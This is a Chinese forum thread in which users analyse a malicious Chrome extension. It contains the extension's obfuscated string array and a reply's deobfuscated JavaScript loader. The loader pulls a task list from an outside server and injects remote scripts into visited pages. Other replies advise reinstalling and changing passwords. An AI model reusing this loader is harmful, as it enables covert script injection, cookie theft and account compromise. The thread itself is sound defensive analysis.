发现 chrome 中了插件病毒，求大佬看看

var _0x6c6f = ["log", "GET", "https://www.icodeps.com/jsapi.php", "parse", "countrycode", "tasklist", "countrylist", "url", "type", "rand", "indexOf", "WW", "random", "randres:", "inject", "sendMessage", "runtime", "directloadhead", "script", "createElement", "src", "text/javascript", "async", "defer", "load", "addEventListener", "error", "beforeend", "insertAdjacentElement", "head", "body", "_vv_dev", "floor", "1.0.0.59", "?v=", "directloadbody", "name", ":", "message", "ajax"];

看了一下，主要是在页面插入一个<script>标签，具体行为是动态从接口获取的。可能造成的危害是拿 cookie, localStorage, DDos 肉鸡，csrf 。
吓得我赶紧检查了一下自己的插件。

@wtfedc #1 具体行为是动态的这就很糟了，完全没法知道自己被做了什么，我不干净了，

插件可能会保存动态获取的代码，如果没有卸载的话可以看看有没有存什么数据

@oldshensheep #3 插件还没卸载，但浏览器可能有清过数据，
有没有什么具体位置能看看插件可能保存的文件的？

已经中过毒的 PC 都建议重装一次。
不要只是杀完毒就以为可以了。
不要去找已经跑路的病毒作者了，也不要在他的操作里看他窃取了什么。直接默认他已经窃取了这个 Chrome 的所有数据。

所以只要是用这个 Chrome 浏览器登录过的所有账号，一律改密码、加二级认证。如果有登录过网银或者输入过卡号，银行卡密码也要更改，这才是正确做法。
这样查他的操作是没有什么意义的，除非能找到真实姓名然后起诉。

找工具转了一下，手动替换了变量
```
function fn() {
$.ajax({
type: 'GET',
url: 'https://www.icodeps.com/jsapi.php',
success: function (data) {
try {
var match = JSON.parse(data);
var calleeName = match['countrycode'];
var req = match['tasklist'];
log(req);

for (res of req) {
var car = res['countrylist'];
var url = res['url'];
var session_c = res['type'];
var rand = res['rand'];

if (car.indexOf(calleeName) > -1 || car.indexOf('WW') > -1) {
var randNum = parseInt(Math.random() * rand);

log('randres:' + randNum);

if (randNum == 0) {
if (session_c == 'inject') {
chrome.runtime.sendMessage({
action: 'inject',
data: url,
});
} else {
if (session_c == 'directloadhead') {
function tmp(i, elem, fn, err) {
let script = document.createElement('script');
script.src = i;
script.type = 'text/javascript';
script.async = false;
script.defer = false;
if (fn) {
script.addEventListener('load', function () {
fn();
});
}
if (err) {
script.addEventListener('error', function () {
fn();
});
}
if (elem) {
document.head.insertAdjacentElement("beforeend", script)
} else {
document.body.insertAdjacentElement("beforeend", script)
}
}
}

window["_vv_dev"] = false
const i = window["_vv_dev"] ? Math.floor(Math.random() * Math.floor(99999999999999)) : "1.0.0.59";
log(url + i);
tmp(url,"?v="+i, false)
}
}
}
}
} catch (e) {
log(e["name"] + ":" + e["message"]);
}
},
});
}

```